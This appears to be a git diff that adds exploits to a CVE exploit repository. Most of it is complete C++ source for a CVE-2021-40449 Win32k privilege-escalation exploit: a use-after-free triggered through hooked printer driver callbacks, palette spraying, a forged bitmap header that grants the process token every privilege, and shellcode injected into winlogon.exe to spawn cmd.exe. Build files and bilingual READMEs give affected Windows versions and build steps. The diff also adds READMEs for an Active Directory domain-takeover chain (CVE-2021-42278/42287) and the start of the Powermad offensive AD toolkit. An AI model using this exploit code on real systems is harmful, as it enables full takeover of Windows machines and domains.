+"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ +"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ +"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ +"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ +"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ +"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ +"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ +"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ +"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ +"\x78\x65\x00"; + +#define SystemHandleInformation 0x10 +#define SystemBigPoolInformation 0x42 +#define ThreadNameInformation 0x26 + +typedef BOOL (*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded); +typedef DHPDEV (*DrvEnablePDEV_t)(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); +typedef VOID (*VoidFunc_t)(); +typedef NTSTATUS(*NtSetInformationThread_t)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength); +typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); + + +typedef struct _DriverHook +{ + ULONG index; + LPVOID func; +} DriverHook; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + +typedef struct +{ + DWORD64 Address; + DWORD64 PoolSize; + CHAR PoolTag[4]; + CHAR Padding[4]; +} BIG_POOL_INFO, * PBIG_POOL_INFO; + +DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver); + +DriverHook driverHooks[] = { + {INDEX_DrvEnablePDEV, (LPVOID)hook_DrvEnablePDEV}, +}; + +NtSetInformationThread_t SetInformationThread; +NtQuerySystemInformation_t QuerySystemInformation; + +// Global variables +namespace globals +{ + LPWSTR printerName; + HDC hdc; + DWORD counter; + BOOL shouldTrigger; + VoidFunc_t origDrvFuncs[INDEX_LAST]; + DWORD64 rtlSetAllBits; + DWORD64 fakeRtlBitMapAddr; + DWORD currentProcessId; +} + +VOID SprayPalettes(DWORD size) +{ + /* Spray palettes to reclaim freed memory */ + + DWORD palCount = (size - 0x90) / 4; + DWORD palSize = sizeof(LOGPALETTE) + (palCount - 1) * sizeof(PALETTEENTRY); + LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palSize); + + if (lPalette == NULL) { + puts("[-] Failed to create palette"); + return; + } + + DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4); + + // Will call: RtlSetAllBits(BitMapHeader), where BitMapHeader is a forged + // to point to the current process token (See `CreateForgedBitMapHeader`) + // This will enable all privileges + + // Offset is specific to each version. Spray the two pointers + // Arg1 (BitMapHeader) + for (DWORD i = 0; i < 0x120; i++) { + p[i] = globals::fakeRtlBitMapAddr; + // p[0xe5] = globals::fakeRtlBitMapAddr; + } + + // Function pointer (RtlSetAllBits) + for (DWORD i = 0x120; i < (palSize - 4) / 8; i++) { + p[i] = globals::rtlSetAllBits; + // p[0x15b] = globals::rtlSetAllBits; + } + + + lPalette->palNumEntries = (WORD)palCount; + lPalette->palVersion = 0x300; + + // Create lots of palettes + for (DWORD i = 0; i < 0x5000; i++) + { + CreatePalette(lPalette); + } +} + +DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) +{ + puts("[*] Hooked DrvEnablePDEV called"); + + DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver); + + // Check if we should trigger the vulnerability + if (globals::shouldTrigger == TRUE) + { + // We only want to trigger the vulnerability once + globals::shouldTrigger = FALSE; + + // Trigger vulnerability with second ResetDC. This will destroy the original + // device context, while we're still inside of the first ResetDC. This will + // result in a UAF + puts("[*] Triggering UAF with second ResetDC"); + HDC tmp_hdc = ResetDCW(globals::hdc, NULL); + puts("[*] Returned from second ResetDC"); + + // This is where we reclaim the freed memory and overwrite the function pointer + // and argument. We will use palettes to reclaim the freed memory + + puts("[*] Spraying palettes"); + + SprayPalettes(0xe20); + + puts("[*] Done spraying palettes"); + } + + return res; +} + +BOOL SetupUsermodeCallbackHook() +{ + /* Find and hook a printer's usermode callbacks */ + + DrvEnableDriver_t DrvEnableDriver; + VoidFunc_t DrvDisableDriver; + DWORD pcbNeeded, pcbReturned, lpflOldProtect, _lpflOldProtect; + PRINTER_INFO_4W *pPrinterEnum, *printerInfo; + HANDLE hPrinter; + DRIVER_INFO_2W *driverInfo; + HMODULE hModule; + DRVENABLEDATA drvEnableData; + BOOL res; + + // Find available printers + EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned); + + if (pcbNeeded <= 0) + { + puts("[-] Failed to find any available printers"); + return FALSE; + } + + pPrinterEnum = (PRINTER_INFO_4W *)malloc(pcbNeeded); + + if (pPrinterEnum == NULL) + { + puts("[-] Failed to allocate buffer for pPrinterEnum"); + return FALSE; + } + + res = EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned); + + if (res == FALSE || pcbReturned <= 0) + { + puts("[-] Failed to enumerate printers"); + return FALSE; + } + + // Loop over printers + for (DWORD i = 0; i < pcbReturned; i++) + { + printerInfo = &pPrinterEnum[0]; + + printf("[*] Using printer: %ws\n", printerInfo->pPrinterName); + + // Open printer + res = OpenPrinterW(printerInfo->pPrinterName, &hPrinter, NULL); + if (!res) + { + puts("[-] Failed to open printer"); + continue; + } + + printf("[+] Opened printer: %ws\n", printerInfo->pPrinterName); + globals::printerName = _wcsdup(printerInfo->pPrinterName); + + // Get the printer driver + GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded); + + driverInfo = (DRIVER_INFO_2W *)malloc(pcbNeeded); + + res = GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded); + + if (res == FALSE) + { + printf("[-] Failed to get printer driver\n"); + continue; + } + + printf("[*] Driver DLL: %ws\n", driverInfo->pDriverPath); + + // Load the printer driver into memory + hModule = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); + + if (hModule == NULL) + { + printf("[-] Failed to load printer driver\n"); + continue; + } + + // Get printer driver's DrvEnableDriver and DrvDisableDriver + DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver"); + DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver"); + + if (DrvEnableDriver == NULL || DrvDisableDriver == NULL) + { + printf("[-] Failed to get exported functions from driver\n"); + continue; + } + + // Call DrvEnableDriver to get the printer driver's usermode callback table + res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData); + + if (res == FALSE) + { + printf("[-] Failed to enable driver\n"); + continue; + } + + puts("[+] Enabled printer driver"); + + // Unprotect the driver's usermode callback table, such that we can overwrite entries + res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect); + + if (res == FALSE) + { + puts("[-] Failed to unprotect printer driver's usermode callback table"); + continue; + } + + // Loop over hooks + for (DWORD i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++) + { + // Loop over driver's usermode callback table + for (DWORD n = 0; n < drvEnableData.c; n++) + { + ULONG iFunc = drvEnableData.pdrvfn[n].iFunc; + + // Check if hook INDEX matches entry INDEX + if (driverHooks[i].index == iFunc) + { + // Saved original function pointer + globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn; + // Overwrite function pointer with hook function pointer + drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func; + break; + } + } + } + + // Disable driver + DrvDisableDriver(); + + // Restore protections for driver's usermode callback table + VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect); + + return TRUE; + } + + return FALSE; +} + +DWORD64 GetKernelBase() +{ + /* Get kernel base address of ntoskrnl.exe */ + + DWORD lpcbNeeded; + BOOL res; + DWORD64 *deviceDrivers; + DWORD64 kernelBase; + + // Get device drivers will return an array of pointers + // Requires at least medium integrity level + res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded); + + deviceDrivers = (DWORD64*)malloc(lpcbNeeded); + + res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded); + + if (res == FALSE) { + return NULL; + } + + // First entry matches ntoskrnl.exe + kernelBase = deviceDrivers[0]; + + free(deviceDrivers); + + return kernelBase; +} + +DWORD64 GetKernelPointer(HANDLE handle, DWORD type) +{ + /* Get kernel address for handle */ + + PSYSTEM_HANDLE_INFORMATION buffer; + DWORD objTypeNumber, bufferSize; + DWORD64 object; + + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); + bufferSize = 0x20; + + // Query handle information. This will query information for all handles on the system + // Requires at least medium integrity level + NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize); + + if (status == (NTSTATUS)0xC0000004L) + { + // Buffer too small. This is always the case, since we only alloc room 0x20 bytes + // initially, but we're receiving information for all handles on the system. + // But if we don't allocate a buffer initially, it will fail for some reason. + free(buffer); + buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize); + status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize); + } + + if (buffer == NULL || status != 0) + { + return 0; + } + + // Loop over the handles + for (size_t i = 0; i < buffer->NumberOfHandles; i++) + { + objTypeNumber = buffer->Handles[i].ObjectTypeIndex; + + // Check if process ID matches current process ID and if object type matches the provided object type + if (buffer->Handles[i].UniqueProcessId == globals::currentProcessId && buffer->Handles[i].ObjectTypeIndex == type) + { + // Check if handle value matches + if (handle == (HANDLE)buffer->Handles[i].HandleValue) + { + // Match. The kernel address will be in `Object` + object = (DWORD64)buffer->Handles[i].Object; + free(buffer); + return object; + } + } + } + + puts("[-] Could not find handle"); + free(buffer); + + return 0; +} + +DWORD64 GetProcessTokenAddress() { + /* Get kernel address of current process token */ + + HANDLE proc, token; + DWORD64 tokenKernelAddress; + + // Get handle for current process + proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, globals::currentProcessId); + if (proc == NULL) { + puts("[-] Failed to open current process"); + return 0; + } + + // Get handle for current process token + if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE) + { + puts("[-] Failed to open process token"); + return 0; + } + + // Get kernel address for current process token handle + for (DWORD i = 0; i < 0x100; i++) { + // Sometimes GetKernelPointer will fail for some reason + // Mostly only on the the iteration + + tokenKernelAddress = GetKernelPointer(token, 0x5); + + if (tokenKernelAddress != 0) { + break; + } + } + + if (tokenKernelAddress == 0) { + puts("[-] Failed to get token kernel address"); + return 0; + } + + return tokenKernelAddress; +} + +DWORD64 CreateForgedBitMapHeader(DWORD64 token) +{ + /* Create a forged BitMapHeader on the large pool to be used in RtlSetAllBits */ + + // Cool trick taken from: + // https://github.com/KaLendsi/CVE-2021-40449-Exploit/blob/main/CVE-2021-40449-x64.cpp#L448 + // https://gist.github.com/hugsy/d89c6ee771a4decfdf4f088998d60d19 + + DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize; + HANDLE hThread; + USHORT dwSize; + LPVOID lpMessageToStore, pBuffer; + UNICODE_STRING target; + HRESULT hRes; + ULONG_PTR StartAddress, EndAddress, ptr; + PBIG_POOL_INFO info; + + hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID); + + dwSize = 0x1000; + + lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE); + + memset(lpMessageToStore, 0x41, 0x20); + + // BitMapHeader->SizeOfBitMap + *(DWORD64*)lpMessageToStore = 0x80; + + // BitMapHeader->Buffer + *(DWORD64*)((DWORD64)lpMessageToStore + 8) = token; + + target = {}; + + target.Length = dwSize; + target.MaximumLength = 0xffff; + target.Buffer = (PWSTR)lpMessageToStore; + + hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10); + + dwBufSize = 1024 * 1024; + pBuffer = LocalAlloc(LPTR, dwBufSize); + + hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); + + dwExpectedSize = target.Length + sizeof(UNICODE_STRING); + + StartAddress = (ULONG_PTR)pBuffer; + EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO); + ptr = StartAddress + 8; + while (ptr < EndAddress) + { + info = (PBIG_POOL_INFO)ptr; + + if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize) + { + return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING); + } + ptr += sizeof(BIG_POOL_INFO); + } + + printf("[-] Failed to leak pool address for forged BitMapHeader\n"); + + return NULL; +} + +BOOL Setup() { + DWORD64 kernelBase, tokenKernelAddress, rtlSetAllBitsOffset; + HMODULE kernelModule, ntdllModule; + + ntdllModule = LoadLibraryW(L"ntdll.dll"); + + if (ntdllModule == NULL) { + puts("[-] Failed to load NTDLL"); + return FALSE; + } + + globals::currentProcessId = GetCurrentProcessId(); + + SetInformationThread = (NtSetInformationThread_t)GetProcAddress(ntdllModule, "NtSetInformationThread"); + QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdllModule, "NtQuerySystemInformation"); + + kernelBase = GetKernelBase(); + if (kernelBase == NULL) { + puts("[-] Failed to get kernel base"); + return FALSE; + } + + kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (kernelModule == NULL) { + puts("[-] Failed to load kernel module"); + return FALSE; + } + + tokenKernelAddress = GetProcessTokenAddress(); + + if (tokenKernelAddress == 0) { + puts("[-] Failed to get token kernel address"); + return FALSE; + } + + rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits"); + if (rtlSetAllBitsOffset == NULL) { + puts("[-] Failed to find RtlSetAllBits"); + return FALSE; + } + + globals::rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule; + + globals::fakeRtlBitMapAddr = CreateForgedBitMapHeader(tokenKernelAddress + 0x40); + if (globals::fakeRtlBitMapAddr == NULL) { + puts("[-] Failed to pool leak address of token"); + return FALSE; + } + + return SetupUsermodeCallbackHook(); +} + +VOID InjectToWinlogon() +{ + /* Inject `payload` (shellcode) into winlogon.exe */ + + PROCESSENTRY32 entry; + HANDLE snapshot, proc; + + entry.dwSize = sizeof(PROCESSENTRY32); + + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + + INT pid = -1; + if (Process32First(snapshot, &entry)) + { + while (Process32Next(snapshot, &entry)) + { + if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) + { + pid = entry.th32ProcessID; + break; + } + } + } + + CloseHandle(snapshot); + + if (pid < 0) + { + puts("[-] Could not find winlogon.exe"); + return; + } + + proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (proc == NULL) + { + puts("[-] Failed to open process. Exploit did probably not work"); + return; + } + + LPVOID buffer = VirtualAllocEx(proc, NULL, sizeof(payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + if (buffer == NULL) + { + printf("[-] Failed to allocate remote memory"); + } + + if (!WriteProcessMemory(proc, buffer, payload, sizeof(payload), 0)) + { + puts("[-] Failed to write to remote memory"); + return; + } + + HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0); + + if (hthread == INVALID_HANDLE_VALUE) + { + puts("[-] Failed to create remote thread"); + return; + } +} + +INT main() +{ + BOOL res = FALSE; + + res = Setup(); + + if (res == FALSE) { + puts("[-] Failed to setup exploit"); + return 0; + } + + + // Create new device context for printer with driver's hooked callbacks + globals::hdc = CreateDCW(NULL, globals::printerName, NULL, NULL); + if (globals::hdc == NULL) + { + puts("[-] Failed to create device context"); + return -1; + } + + // Trigger the vulnerability + // This will internally call `hdcOpenDCW` which will call our usermode callback + // From here we will call ResetDC again to trigger the UAF + globals::shouldTrigger = TRUE; + ResetDC(globals::hdc, NULL); + + // Exploit complete + // We should now have all privileges + + puts("[*] Spawning remote thread"); + + InjectToWinlogon(); + + return 0; +} diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj new file mode 100644 index 0000000..678c2b4 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6a40314b-695b-4b07-a5a8-5b640436a388} + CallbackHell + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.filters b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.filters new file mode 100644 index 0000000..8930ffb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.user b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/CallbackHell/CallbackHell/CallbackHell.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-40449/README.md b/00-CVE_EXP/CVE-2021-40449/README.md new file mode 100644 index 0000000..c8089e1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/README.md @@ -0,0 +1,58 @@ +### CVE-2021-40449 + +#### 描述 + +Win32k 特权提升漏洞 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 11 | x64/AMD64 | | | ✕ | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 1809 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 1909 | | | +| Windows 10 | x86/x64/AMD64 | 2004 | | | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449 +``` + +#### 利用方式 + +编译环境 + +- VS2019(V120)X64 Release(CVE-2021-40449_1607_x64 +- VS2019(V142)X64 Release(CallbackHell + +> 推荐使用CallbackHell的代码进行提权 + +测试系统Windows 10 1607 X64(演示使用的是CVE-2021-40449_1607_x64文件中的代码进行编译 + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40449_Windows_10_1607_X64.gif) + +#### 参考项目 + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit) +- [ly4k]( https://github.com/ly4k/CallbackHell.git) + +#### 分析文章 + +- [在野定向攻击所用Windows本地提权漏洞复现和分析](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ) diff --git a/00-CVE_EXP/CVE-2021-40449/README_EN.md b/00-CVE_EXP/CVE-2021-40449/README_EN.md new file mode 100644 index 0000000..356ee93 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-40449/README_EN.md @@ -0,0 +1,58 @@ +### CVE-2021-40449 + +#### Describe + +Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357. + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows 11 | x64/AMD64 | | | ✕ | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 1809 | | ✔ | +| Windows 10 | x86/x64/AMD64 | 1909 | | | +| Windows 10 | x86/x64/AMD64 | 2004 | | | +| Windows 10 | x86/x64/AMD64 | 20H2 | | | +| Windows 10 | x86/x64/AMD64 | 21H1 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V120)X64 Release(CVE-2021-40449_1607_x64 +- VS2019(V142)X64 Release(CallbackHell + +> It is recommended to use the CallbackHell code to be proposed. + +Test System Windows 10 1607 X64 (Demo is compiled with code in CVE-2021-40449_1607_X64 file + +![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-40449_Windows_10_1607_X64.gif) + +#### ProjectSource + +- [KaLendsi](https://github.com/KaLendsi/CVE-2021-40449-Exploit) +- [ly4k]( https://github.com/ly4k/CallbackHell.git) + +#### Analyze + +- [在野定向攻击所用Windows本地提权漏洞复现和分析](https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ) diff --git a/00-CVE_EXP/CVE-2021-42278/README.md b/00-CVE_EXP/CVE-2021-42278/README.md new file mode 100644 index 0000000..3b3b982 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42278/README.md @@ -0,0 +1,29 @@ +### CVE-2021-42278 + +#### 描述 + +CVE-2021-42287/CVE-2021-42278组合拳能够通过普通用户权限账号,拿下Microsoft Windows Active Directory域服务管理员权限账号 + +#### 影响版本 + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | ✔ | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### 修复补丁 + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42278 +``` + +#### 利用方式 + +统一写到这个文件中[CVE-2021-42287](../CVE-2021-42287/README.md) diff --git a/00-CVE_EXP/CVE-2021-42278/README_EN.md b/00-CVE_EXP/CVE-2021-42278/README_EN.md new file mode 100644 index 0000000..be717c3 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42278/README_EN.md @@ -0,0 +1,29 @@ +### CVE-2021-42278 + +#### Describe + +The CVE-2021-42287/CVE-2021-42278 combo box can pass the ordinary user authority account to win the Microsoft Windows Active Directory domain service administrator authority account + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | -------- | +| Windows Server 2008 | x86/x64 | | SP2 | | +| Windows Server 2008 | x64 | R2 | SP1 | | +| Windows Server 2012 | | | | ✔ | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server 2022 | | | | | +| Windows Server | | 2004 | | | +| Windows Server | | 20H2 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-42278 +``` + +#### Utilization + +Write uniformly in this file[CVE-2021-42287](../CVE-2021-42287/README.md) diff --git a/00-CVE_EXP/CVE-2021-42287/Powermad.ps1 b/00-CVE_EXP/CVE-2021-42287/Powermad.ps1 new file mode 100644 index 0000000..742e886 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Powermad.ps1 @@ -0,0 +1,4480 @@ +<# +Powermad - PowerShell MachineAccountQuota and DNS exploit tools +Author: Kevin Robertson (@kevin_robertson) +License: BSD 3-Clause +https://github.com/Kevin-Robertson/Powermad +#> + +#region begin MachineAccountQuota Functions + +function Disable-MachineAccount +{ + <# + .SYNOPSIS + This function disables a machine account that was added through New-MachineAccount. This function should be + used with the same user that created the machine account. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Machine accounts added with New-MachineAccount cannot be deleted with an unprivileged user. Although users + can remove systems from a domain that they added using ms-DS-MachineAccountQuota, the machine account in AD is + just left in a disabled state. This function provides that ability by setting the AccountDisabled to true. + Ideally, the account is removed after elevating privilege. + + .PARAMETER Credential + PSCredential object that will be used to disable the machine account. + + .PARAMETER DistinguishedName + Distinguished name for the computers OU. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER MachineAccount + The username of the machine account that will be disabled. + + .EXAMPLE + Disable a machine account named test. + Disable-MachineAccount -MachineAccount test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$MachineAccount, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output 